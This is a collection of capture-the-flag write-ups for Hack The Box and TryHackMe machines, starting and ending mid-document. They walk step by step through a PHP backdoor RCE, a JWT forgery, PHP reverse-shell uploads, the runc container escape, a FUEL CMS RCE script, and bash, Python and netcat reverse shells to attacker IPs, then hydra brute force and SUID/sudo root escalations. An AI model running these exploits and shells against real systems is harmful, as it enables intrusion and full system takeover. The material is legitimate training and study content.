80/tcp open http ``` ### website ![](https://user-images.githubusercontent.com/53917092/119241635-4f676d00-bb2e-11eb-9544-c34da9caa846.png) looking at the site we don't see anything interesting. I tried fuzzing around to find more information but found nothing. so I decided to look at the requests. request: ``` GET /index.php HTTP/1.1 Host: 10.129.109.116 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 ``` response ``` HTTP/1.1 200 OK Date: Sat, 22 May 2021 21:45:40 GMT Server: Apache/2.4.41 (Ubuntu) X-Powered-By: PHP/8.1.0-dev Vary: Accept-Encoding Content-Length: 5815 Connection: close Content-Type: text/html; charset=UTF-8 [...] ``` here we have something interesting: the server is running PHP 8.1.0-dev. ``` X-Powered-By: PHP/8.1.0-dev ``` searching about PHP 8.1.0-dev vulnerabilities ![](https://user-images.githubusercontent.com/53917092/119243186-e63a2680-bb3a-11eb-95eb-2ef78be1607f.png) After translating this site we see that in this specific version of php a backdoor was placed (this backdoor was quickly removed in the updates) ![](https://user-images.githubusercontent.com/53917092/119243233-3fa25580-bb3b-11eb-8f49-edb98ea617fd.png) searching more about the backdoor I found this: ![](https://user-images.githubusercontent.com/53917092/119243441-24384a00-bb3d-11eb-984e-06dfe77bdf55.png) this article teaches us how to use this backdoor to execute code and have an RCE ![](https://user-images.githubusercontent.com/53917092/119243476-898c3b00-bb3d-11eb-9045-41031df63283.png) by adding the header "User-Agentt: zerodium" we can execute php code. so our request will be: ``` GET /index.php HTTP/1.1 Host: 10.129.109.116 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 User-Agentt: zerodiumsystem('id'); ``` and we got the response: ``` HTTP/1.1 200 OK Date: Sat, 22 May 2021 23:43:40 GMT Server: Apache/2.4.41 (Ubuntu) X-Powered-By: PHP/8.1.0-dev Vary: Accept-Encoding Content-Length: 5866 Connection: close Content-Type: text/html; charset=UTF-8 uid=1000(james) gid=1000(james) groups=1000(james) [...] ``` worked, we got Remote Code execution ## User open a listener > nc -lvnp 1234 use this header ``` User-Agentt: zerodiumsystem('bash -c "/bin/sh -i >& /dev/tcp/10.10.14.96/1234 0>&1" '); ``` got shell ![](https://user-images.githubusercontent.com/53917092/119244395-af6a0d80-bb46-11eb-8e5e-97de3c96a7f8.png) improving this shell to a tty ``` python3 -c 'import pty;pty.spawn("/bin/bash")' CTRL+Z stty raw -echo; fg export TERM=xterm clear ``` ![](https://user-images.githubusercontent.com/53917092/119244469-71211e00-bb47-11eb-98f2-7db79fcdb7ef.png) ## Privilege Escalation > sudo -l ![](https://user-images.githubusercontent.com/53917092/119245373-463ac800-bb4f-11eb-8461-e38d224d9c8f.png) check this binary > cat /usr/bin/knife ![](https://user-images.githubusercontent.com/53917092/119245628-24424500-bb51-11eb-8257-6cca1c443084.png) looks like a management program written in ruby running this binary > /usr/bin/knife we see that we can run commands ![image](https://user-images.githubusercontent.com/53917092/119246545-d6313f80-bb58-11eb-94cf-dbcac889a9ec.png) I wrote a script that runs a command to make bash runnable as root without a password ``echo '`chmod +s /bin/bash`' > rootscript`` `sudo /usr/bin/knife exec rootscript` now run bash with -p flag > bash -p we got root, just get the root flag ![image](https://user-images.githubusercontent.com/53917092/119246975-64f38b80-bb5c-11eb-9613-dfc8f4faed98.png) # The Notebook ## The Notebook - Hackthebox OS: Linux Difficulty: Medium ip: 10.10.10.230 ### Nmap ``` PORT STATE SERVICE REASON 22/tcp open ssh syn-ack 80/tcp open http syn-ack ``` ### Web #### First Page ![](https://user-images.githubusercontent.com/53917092/114756314-fd624900-9d30-11eb-99c4-8cff2b74c127.png) creating an account ![](https://user-images.githubusercontent.com/53917092/114757169-e708bd00-9d31-11eb-9d74-d11784dfe591.png) ![](https://user-images.githubusercontent.com/53917092/114757247-fc7de700-9d31-11eb-9838-dd3e660a01b8.png) ![](https://user-images.githubusercontent.com/53917092/114757280-04d62200-9d32-11eb-8658-3feb00c2ff4d.png) adding a new note ![](https://user-images.githubusercontent.com/53917092/114757326-16b7c500-9d32-11eb-81b8-9caf506fba23.png) looking at cookies > auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6ImEiLCJlbWFpbCI6ImFAYS5jIiwiYWRtaW5fY2FwIjowfQ.X4xL9bF3x0l8Lclj9hIIUa\_HxJcTUvKSh2i\_gH9TyRs4d1rrK2TXR0AxYiJ\_BL5ytJr0VdqQNKunaNobTps4NTOmOZX-hjzugYngjpUo\_dbJsJIXx\_3D49aycKN6qMS7VjrrS8qvZBWU\_Lom3H6w057lFB3ITncrMg4UpaougjNEJbfZChQrDEDGEY01ZJntBOh\_-JiaCUA3uznt9T98j425XObUDCyCaR0VUJF0W8fuKes9cpwehQDcx-0o9Y66aucBcaywz5Ddge96P0NB-l2E8AnJ0P2p8JDOMaoeCX05I8YEoGeEu99ougOfaVWxekP1nvpBPYjplIUxi-dscXShK8zJtqPHAoOzqVsL4SzJvbi\_z8eDUyb5p0CAoUbrxqy44MoJ3JWWER781iemEISTcgUN3Bp\_AlCK23awPR3ikzpz18QJZnHnCGnhJcdxhqFNm93-7jopjIroIGJjKjsV3gVxdqr4kFkoZdrHdpaob47RQd3MU0YfawEk6ZQ7qL2pGX-ZN4LskZ\_83c5ijgch9zdYovLGJ6sfnwhEh91eAIR16Uz5rKDpjCu1zCOlibMZGyMbxml9dBBqiz1apoo99jGVdeYA9JW1iMiLWjmvpGzOkXhRAwT\_OSH3XJ-Hqoj8eSCKY56nJCiDQ0Z5dQyntco01WWOKPYrUi4-HAs this looks like a jwt we can try to understand it better by pasting in ![](https://user-images.githubusercontent.com/53917092/114758609-8bd7ca00-9d33-11eb-92bd-ff02d36c70de.png) we need a rsa-sha256 (4096) key pair to generate our jwt with "admin\_cap=1" we can use ![](https://user-images.githubusercontent.com/53917092/114910663-8abaa180-9df4-11eb-9b91-75ecf57fa572.png) ![](https://user-images.githubusercontent.com/53917092/114911340-4bd91b80-9df5-11eb-89b6-da40e96e7c31.png) now create a file called "privKey.key" with the same private key that we will use to generate the jwt. Then in the jwt header change "localhost" to your ip, so it will compare the jwt key with the key on your machine. Now we can simply change the "admin\_cap" to 1 and we have a valid cookie (jwt) with admin permission ![](https://user-images.githubusercontent.com/53917092/114913248-5d232780-9df7-11eb-9917-5199759d2506.png) > python3 -m http.server ![](https://user-images.githubusercontent.com/53917092/114913405-880d7b80-9df7-11eb-8a85-e45904903fd0.png) put this jwt in your browser cookie and reload the page now we can see the "admin panel" tab ![](https://user-images.githubusercontent.com/53917092/114914308-855f5600-9df8-11eb-87c6-8b93902cafb4.png) we can upload files and view the notes ![](https://user-images.githubusercontent.com/53917092/114914461-afb11380-9df8-11eb-815a-e63121ef6d02.png) checking out "need to fix config" ![](https://user-images.githubusercontent.com/53917092/114914541-cce5e200-9df8-11eb-8995-416cbd17e402.png) this means we can get shell uploading a php reverse shell so i used the one from pentest monkey download the shell > curl -o rev.php edit the shell putting your ip ![](https://user-images.githubusercontent.com/53917092/114915193-a8d6d080-9df9-11eb-8010-9bfebd01ca83.png) start a listener > nc -lvnp 1234 and upload this php ![](https://user-images.githubusercontent.com/53917092/114915535-0d922b00-9dfa-11eb-8a86-4b3222ac87fc.png) click "view" and we got shell **getting tty** > python3 -c 'import pty;pty.spawn("/bin/bash")' CTRL+Z > stty raw -echo;fg > export TERM=xterm ## User in /var/backups we have some interesting files, ``` www-data@thenotebook:/tmp$ ls -la /var/backups total 696 drwxr-xr-x 2 root root 4096 Apr 15 06:26 . drwxr-xr-x 14 root root 4096 Feb 12 06:52 .. -rw-r--r-- 1 root root 51200 Apr 15 06:25 alternatives.tar.0 -rw-r--r-- 1 root root 33252 Feb 24 08:53 apt.extended_states.0 -rw-r--r-- 1 root root 3609 Feb 23 08:58 apt.extended_states.1.gz -rw-r--r-- 1 root root 3621 Feb 12 06:52 apt.extended_states.2.gz -rw-r--r-- 1 root root 437 Feb 12 06:17 dpkg.diversions.0 -rw-r--r-- 1 root root 172 Feb 12 06:52 dpkg.statoverride.0 -rw-r--r-- 1 root root 571460 Feb 24 08:53 dpkg.status.0 -rw------- 1 root root 693 Feb 17 13:18 group.bak -rw------- 1 root shadow 575 Feb 17 13:18 gshadow.bak -rw-r--r-- 1 root root 4373 Feb 17 09:02 home.tar.gz -rw------- 1 root root 1555 Feb 12 06:24 passwd.bak -rw------- 1 root shadow 1024 Feb 12 07:33 shadow.bak ``` so I created a directory inside /tmp/ and extracted these files to my directory > cd /tmp > mkdir a; cd a > tax -xf /var/backups/home.tar.gz so inside the home file (/var/backups/home.tar.gz) we have the ssh private key from "noah" user > cd /home/noah/.ssh > cat id\_rsa copy the content to a file in your machine and log in as noah with this key > ssh -i id\_rsa noah\@10.10.10.230 ## Privesc > sudo -l ``` Matching Defaults entries for noah on thenotebook: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User noah may run the following commands on thenotebook: (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01* ``` ok we can run this command (/usr/bin/docker exec -it webapp-dev01\*) with any parameter as root without password, so we will use that to become root #### Docker version > docker -v ``` Docker version 18.06.0-ce, build 0ffa825 ``` searching for this version vulnerabilites ![](https://user-images.githubusercontent.com/53917092/115036274-bf396680-9ea3-11eb-85de-85166770c936.png) we can try to use one of these exploit, but we need runc, so let's check if runc exists in the target machine > which runc ``` /usr/sbin/runc ``` > runc -v ``` runc version 1.0.0~rc6+dfsg1 commit: 1.0.0~rc6+dfsg1-3 spec: 1.0.1 ``` the runc is in the exact version to run the exploits, let's run it [video to follow](https://www.youtube.com/watch?v=gjvsbcAlQl8]) in target machine run this to enter in the docker container > sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash in our machine download the exploit from > curl -o main.go change the payload ![](https://user-images.githubusercontent.com/53917092/115038782-3e2f9e80-9ea6-11eb-9a90-e06f0905e05b.png) in this case, I changed the payload to > \#!/bin/bash \n chmod +s /bin/bash because this turn bash runnable as root without password now build the exploit > go build main.go start a python3 http server > python3 -m http.server on container install the exploit > curl http\://\:8000/main -o exploit > chmod +x exploit > ./exploit in another terminal connect the ssh again and run > sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh after the message > 'No help topic for '/bin/sh'' run > bash -p and now we are root > cat /root/root.txt # Try Hack Me Write-ups {% content-ref url="/pages/-MYf5RvNFiMTjtlZvsj0" %} [RootME](/try-hack-me-write-ups/rootme) {% endcontent-ref %} {% content-ref url="/pages/-MYev-U\_pJ1Ke5Gz3Qh5" %} [Pickle Rick](/try-hack-me-write-ups/pickle-rick) {% endcontent-ref %} {% content-ref url="/pages/-MYetji46t\_cBFhIsDbJ" %} [Ignite](/try-hack-me-write-ups/ignite) {% endcontent-ref %} {% content-ref url="/pages/-MYeq751moaeLhYzyDU6" %} [Bounty Hacker](/try-hack-me-write-ups/bounty-hacker) {% endcontent-ref %} {% content-ref url="/pages/-MYeqYPcdZGflFmisHY9" %} [Dogcat](/try-hack-me-write-ups/dogcat) {% endcontent-ref %} # RootME ## [RootMe](https://www.tryhackme.com/room/rrootme) ## A ctf for beginners, can you root me? ### Questions * Scan the machine, how many ports are open? * What version of Apache are running? * What is the hidden directory? * user.txt? * Search for files with SUID permission, which file is weird? * root.txt? ## Enumeration ### Nmap > nmap -sSVC -A -O -vv ``` PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9irIQxn1jiKNjwLFTFBitstKOcP7gYt7HQsk6kyRQJjlkhHYuIaLTtt1adsWWUhAlMGl+97TsNK93DijTFrjzz4iv1Zwpt2hhSPQG0GibavCBf5GVPb6TitSskqpgGmFAcvyEFv6fLBS7jUzbG50PDgXHPNIn2WUoa2tLPSr23Di3QO9miVT3+TqdvMiphYaz0RUAD/QMLdXipATI5DydoXhtymG7Nb11sVmgZ00DPK+XJ7WB++ndNdzLW9525v4wzkr1vsfUo9rTMo6D6ZeUF8MngQQx5u4pA230IIXMXoRMaWoUgCB6GENFUhzNrUfryL02/EMt5pgfj8G7ojx5 | 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA) |_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBERAcu0+Tsp5KwMXdhMWEbPcF5JrZzhDTVERXqFstm7WA/5+6JiNmLNSPrqTuMb2ZpJvtL9MPhhCEDu6KZ7q6rI= 80/tcp open http syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: HackIT - Home ``` #### Q: Scan the machine, how many ports are open? > A: 2 #### Q: What version of Apache are running? > A: 2.4.29 #### Q: What service is running on port 22? > A: ssh ### finding Directories/files > gobuster dir -u [http://10.10.63.255:80/](http://10.10.63.255/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 33 -x html,php,txt (the ip is different because I continued that writeup the other day) ![](https://user-images.githubusercontent.com/53917092/95799616-9c977c80-0ccb-11eb-8c12-1261b632a434.png) #### Q: What is the hidden directory? > A: /panel/ checking the directory /panel/, we have [![image](https://user-images.githubusercontent.com/53917092/95799962-ad94bd80-0ccc-11eb-82b6-bebb559e010c.png)](https://user-images.githubusercontent.com/53917092/95799962-ad94bd80-0ccc-11eb-82b6-bebb559e010c.png) let's try to upload a shell shell: > curl -o revs.php remember to set a port to listening > nc -lvp PORT [![image](https://user-images.githubusercontent.com/53917092/95800457-c487df80-0ccd-11eb-951b-1fa61fd38181.png)](https://user-images.githubusercontent.com/53917092/95800457-c487df80-0ccd-11eb-951b-1fa61fd38181.png) "PHP isn't permitted" let's try bypassing this using the ".php5" extension > mv revs.php revs.php5 [![image](https://user-images.githubusercontent.com/53917092/95800910-fcdbed80-0cce-11eb-9775-7ede504b29aa.png)](https://user-images.githubusercontent.com/53917092/95800910-fcdbed80-0cce-11eb-9775-7ede504b29aa.png) it worked to run click on "veja" ("see") ![](https://user-images.githubusercontent.com/53917092/95801051-81c70700-0ccf-11eb-9179-d92c4d421c56.png) it worked, we have shell to get a tty > python -c 'import pty;pty.spawn("/bin/bash")' > Ctrl+Z > stty raw -echo > fg > export TERM=xterm ![image](https://user-images.githubusercontent.com/53917092/95801836-087ce380-0cd2-11eb-9d6a-dfcb6863ae6c.png) ### user.txt #### finding > find / -type f -name user.txt 2>/dev/null [![image](https://user-images.githubusercontent.com/53917092/95803052-770f7080-0cd5-11eb-8a1d-a00ca7024fa4.png)](https://user-images.githubusercontent.com/53917092/95803052-770f7080-0cd5-11eb-8a1d-a00ca7024fa4.png) #### getting > cat /var/www/user.txt [![image](https://user-images.githubusercontent.com/53917092/97300372-1e8fb580-1835-11eb-9ff6-1de7305674cf.png)](https://user-images.githubusercontent.com/53917092/97300372-1e8fb580-1835-11eb-9ff6-1de7305674cf.png) ### root.txt / Privilege Escalation To look for the files with SUID permission we can use the command: > find / -type f -user root -perm -4000 2>/dev/null ![](https://user-images.githubusercontent.com/53917092/95803488-9ce94500-0cd6-11eb-9d5c-e8822a26ddb7.png) #### Exploring python set uid capabilities > python -c "import os;os.setuid(0);os.system('/bin/bash')" ![](https://user-images.githubusercontent.com/53917092/95803893-a7f0a500-0cd7-11eb-9a16-463b7cbc950a.png) #### getting ![](https://user-images.githubusercontent.com/53917092/97299626-fbb0d180-1833-11eb-8160-946f299c1725.png) # Pickle Rick ### [Pickle Rick](https://www.tryhackme.com/room/picklerick) ### A Rick and Morty CTF. Help turn Rick back into a human! ### Pickle Rick is a Rick and Morty themed tryhackme room where we exploit a webserver to find 3 ingredients or flags. ## Questions : 1. What is the first ingredient Rick needs? 2. What's the second ingredient Rick needs? 3. What's the final ingredient Rick needs? ## Enumeration ### NMAP > nmap -sS -sC -sV -A -O -vv BOX\_IP #### output ``` PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 08:16:72:a6:42:80:aa:21:3f:9e:2a:76:4c:bc:45:0d (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDibc1nVIGXaLx8nF5hflDtQi7KVayIQjoV/97QvFHpe67phA9ozRb+o0Azrp3UBxc6zlGDJiPRPdgXZUL53Zygvip9Tj/8GYucBA1yzcN5gtWfR7cVG/vZo/ToDD2bTiVbMy1fW7zWa9Le9VEytFnsBFOk0ePEn5rI7wLuZ+HHaVTJegtq6KIVw9eQUCxTqfjEvFxCyJMSbwPXWdURGwVYOW3VVpU8awDkklUZRQ/ElsKGJLLF+CjtQ3/+aT9VeWKIP8n/k+ymFL0zvkygEGdMaUOFBiaZd8FAAiBAbHXNGg2Scsnmid8V9sXS0tyN4OuItZ7Xc26eKmlsCzDkJlJJ | 256 38:e1:90:b4:69:a0:49:f8:1d:cb:d5:1a:79:22:a2:b1 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGo31VvNkXrpUtTcaSzV68TxybntTXNKXfLV7uueau4r5ROiko7CqYXSBBbcKovi06b+fPCIxdnu84ZHNrMK41Q= | 256 a0:48:4b:8f:87:64:67:ca:d3:d3:61:3a:b2:80:f3:8e (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlvtA3D1u0/IPcguHsofaDoMS4J2/VyFUsc5Ko+hKtM 80/tcp open http syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Rick is sup4r cool ``` we have two open ports, 20 (ssh) and 80 (apache2 httpd) ## Site ![](https://user-images.githubusercontent.com/53917092/95249981-e118a900-07ef-11eb-8a7e-cbdd288c1cb3.png) ### Source Code ![](https://user-images.githubusercontent.com/53917092/95249935-d0683300-07ef-11eb-8e78-d666c56d47fc.png) > Username: R1ckRul3s ### find out interesting directories and files robots.txt [![image](https://user-images.githubusercontent.com/53917092/95252646-a4e74780-07f3-11eb-8898-a829866a4218.png)](https://user-images.githubusercontent.com/53917092/95252646-a4e74780-07f3-11eb-8898-a829866a4218.png) (a string like a password???) ### Login trying to login with User:R1ckRul3s and Password:Wubbalubbadubdub in /login.php ![](https://user-images.githubusercontent.com/53917092/95253093-466e9900-07f4-11eb-89b8-cf9c15df7677.png) ![](https://user-images.githubusercontent.com/53917092/95253107-4cfd1080-07f4-11eb-9bca-459a05af45f4.png) #### Success ### RCE on this panel, we were able to execute commands on the system [![image](https://user-images.githubusercontent.com/53917092/95253253-85045380-07f4-11eb-9ebd-1a4f1dededdf.png)](https://user-images.githubusercontent.com/53917092/95253253-85045380-07f4-11eb-9ebd-1a4f1dededdf.png) then let's try a reverse shell from that for this we will use python, so we have to know where it is (and if it exists) ![](https://user-images.githubusercontent.com/53917092/95253426-b9780f80-07f4-11eb-9a18-c8905ac8b69d.png) all right, let's run the reverse shell ``` python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` (changing the ip address for my thm-vpn IP) ### Reverse Shell ![](https://user-images.githubusercontent.com/53917092/95253810-55098000-07f5-11eb-994a-3c6b88ee9c85.png) #### Shell to TTY > python3 -c "import pty; pty.spawn('/bin/bash')" ![](https://user-images.githubusercontent.com/53917092/95254413-3f488a80-07f6-11eb-9a0d-9b3ae8d00ca3.png) ### answering the first question > cat Sup3rS3cretPickl3Ingred.txt [![image](https://user-images.githubusercontent.com/53917092/95254695-a7976c00-07f6-11eb-9be7-a3e4041c6b1d.png)](https://user-images.githubusercontent.com/53917092/95254695-a7976c00-07f6-11eb-9be7-a3e4041c6b1d.png) ### walking to the second question ![](https://user-images.githubusercontent.com/53917092/95254893-f8a76000-07f6-11eb-9793-c4acdad204f9.png) ### answering the second question ![](https://user-images.githubusercontent.com/53917092/95255082-402dec00-07f7-11eb-8d45-bb296536341f.png) ### walking to root looking at the commands that the user can run > sudo -l ![](https://user-images.githubusercontent.com/53917092/95255409-b03c7200-07f7-11eb-90f2-b852d6f149dc.png) EASY!!!!! We can run ANY command as root without password :O ## Root flag (3rd question) [![image](https://user-images.githubusercontent.com/53917092/95255573-fdb8df00-07f7-11eb-9447-99a43927e285.png)](https://user-images.githubusercontent.com/53917092/95255573-fdb8df00-07f7-11eb-9447-99a43927e285.png) # Ignite [Ignite](https://www.tryhackme.com/room/ignite) Recognition ### NMAP > nmap -sCV -A -O 10.10.226.192 ``` PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/fuel/ |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Welcome to FUEL CMS ``` ### Site [![image](https://user-images.githubusercontent.com/53917092/97047048-bb5d0500-154e-11eb-9d20-36f4418aec03.png)](https://user-images.githubusercontent.com/53917092/97047048-bb5d0500-154e-11eb-9d20-36f4418aec03.png) [![image](https://user-images.githubusercontent.com/53917092/97047124-d92a6a00-154e-11eb-890b-a2e6fc7d34ca.png)](https://user-images.githubusercontent.com/53917092/97047124-d92a6a00-154e-11eb-890b-a2e6fc7d34ca.png) #### Visiting /fuel we have a login page [![image](https://user-images.githubusercontent.com/53917092/97047273-155dca80-154f-11eb-84ce-b39629091079.png)](https://user-images.githubusercontent.com/53917092/97047273-155dca80-154f-11eb-84ce-b39629091079.png) So I searched about this system (fuel cms) on the exploitdb site and found this: ![](https://user-images.githubusercontent.com/53917092/97047803-e3993380-154f-11eb-95d2-cf25f25b5bac.png) I will use the RCE Exploit because other else requires authentication and we don't have any credentials the exploit be like ``` import requests import urllib url = raw_input('target (http://IP:PORT) : ') def find_nth_overlapping(haystack, needle, n): start = haystack.find(needle) while start >= 0 and n > 1: start = haystack.find(needle, start+1) n -= 1 return start while 1: xxxx = raw_input('cmd:') burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27" r = requests.get(burp0_url) html = "" htmlcharset = r.text.find(html) begin = r.text[0:20] dup = find_nth_overlapping(r.text,begin,2) print r.text[0:dup] ``` and it uses python2 ### Exploiting ![](https://user-images.githubusercontent.com/53917092/97048985-4e973a00-1551-11eb-99fa-5cbcd09522a4.png) ## getting a reverse shell using the RCE we check that the machine has WGET command [![image](https://user-images.githubusercontent.com/53917092/97049144-91591200-1551-11eb-869f-77e1d309f88e.png)](https://user-images.githubusercontent.com/53917092/97049144-91591200-1551-11eb-869f-77e1d309f88e.png) so I will use this to download and run a reverse shell file so I created a .sh file on my machine that contains it: > rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f and to access the machine, I used a python server > nc -lvp PORT > python3 -m http.server 80 ![image](https://user-images.githubusercontent.com/53917092/97050038-0c6ef800-1553-11eb-8d9e-7a41cee2fbdf.png) now I will download the file and run it in the box using RCE > wget IP/revshell.sh -O /tmp/revshell.sh; sh /tmp/revshell.sh ![](https://user-images.githubusercontent.com/53917092/97050364-97e88900-1553-11eb-8070-f63957ed97fd.png) ![](https://user-images.githubusercontent.com/53917092/97050414-af277680-1553-11eb-9c0a-82eb8efaedfa.png) it works ### getting a tty checking if we have python > whereis python [![image](https://user-images.githubusercontent.com/53917092/97050672-2d841880-1554-11eb-8c26-34b715bb5ed8.png)](https://user-images.githubusercontent.com/53917092/97050672-2d841880-1554-11eb-8c26-34b715bb5ed8.png) we have python, so we will use it to get a tty > python -c 'import pty;pty.spawn("/bin/bash")' ![](https://user-images.githubusercontent.com/53917092/97050816-6de39680-1554-11eb-884c-304bdb41cec8.png) ### User Flag ![](https://user-images.githubusercontent.com/53917092/97051978-8f458200-1556-11eb-9655-5c6aef004e72.png) ### Privilege escalation again using wget, we will use LinPeas to enumerate possible privilege escalation vectors we will download on our machine, upload a server and then download in the box through our machine in our machine: > wget > python3 -m http.server 80 in the box > cd /tmp > wget \/linpeas.sh giving the permissions > chmod +x linpeas.sh running > ./linpeas.sh ### Privilege Escalation ![](https://user-images.githubusercontent.com/53917092/97056470-768d9a00-155f-11eb-8d24-a72a0fcd1d02.png) checking out this database ![](https://user-images.githubusercontent.com/53917092/97056626-d08e5f80-155f-11eb-9b0f-9815f51646ee.png) ![](https://user-images.githubusercontent.com/53917092/97056655-e1d76c00-155f-11eb-9ff1-a64e376d405c.png) trying using this password ![](https://user-images.githubusercontent.com/53917092/97056752-177c5500-1560-11eb-84bf-9bac6799a1f9.png) ### ROOT flag ![](https://user-images.githubusercontent.com/53917092/97056937-8659ae00-1560-11eb-803b-ccae406fa5ab.png) that's it, thanks for reading # Bounty Hacker ## [Bounty Hacker](https://www.tryhackme.com/room/cowboyhacker) ## Enumeration > nmap -sCV -O -v ``` PORT STATE SERVICE VERSION 20/tcp closed ftp-data 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: TIMEOUT | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.4.11.0 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 5 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA) | 256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA) |_ 256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). ``` ## Exploit / User port 21: ftp 10.10.225.190 trying to login with default credentials: > user : anonymous password : it works ![](https://user-images.githubusercontent.com/53917092/99078566-5a4cae00-259d-11eb-9ec9-84bbd5ddb14b.png) so we download the files locks.txt and task.txt ![](https://user-images.githubusercontent.com/53917092/99078658-85370200-259d-11eb-83a5-1968bfe1ef81.png) ![](https://user-images.githubusercontent.com/53917092/99078717-997aff00-259d-11eb-97cf-92437bf3b326.png) locks: ``` rEddrAGON ReDdr4g0nSynd!cat3 Dr@gOn$yn9icat3 R3DDr46ONSYndIC@Te ReddRA60N R3dDrag0nSynd1c4te dRa6oN5YNDiCATE ReDDR4g0n5ynDIc4te R3Dr4gOn2044 RedDr4gonSynd1cat3 R3dDRaG0Nsynd1c@T3 Synd1c4teDr@g0n reddRAg0N REddRaG0N5yNdIc47e Dra6oN$yndIC@t3 4L1mi6H71StHeB357 rEDdragOn$ynd1c473 DrAgoN5ynD1cATE ReDdrag0n$ynd1cate Dr@gOn$yND1C4Te RedDr@gonSyn9ic47e REd$yNdIc47e dr@goN5YNd1c@73 rEDdrAGOnSyNDiCat3 r3ddr@g0N ReDSynd1ca7e ``` (this looks like a password list file) task: ``` 1.) Protect Vicious. 2.) Plan for Red Eye pickup on the moon. -lin ``` (now we know the system have a user named "lin") using hydra to brute-force ssh with user "lin" and the passwords from locks.txt > hydra -l lin -P locks.txt ssh://10.10.225.190 -F and we got the password using these credentials we can log in in ssh logging into ssh we have the user.txt ## Root > sudo -l ``` User lin may run the following commands on bountyhacker: (root) /bin/tar ``` checking GTFobins : ![image](https://user-images.githubusercontent.com/53917092/99079348-97fe0680-259e-11eb-8d8e-ef1d4a8ddadf.png) we got the command: > sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh and we are root :) # Dogcat [Dogcat](https://www.tryhackme.com/room/dogcat) Description: I made a website where you can look at pictures of dogs and/or cats! ## Enumeration ### NMAP > nmap -sCSV -O ``` Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 09:02 EDT Nmap scan report for 10.10.74.124 Host is up (0.72s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA) | 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA) |_ 256 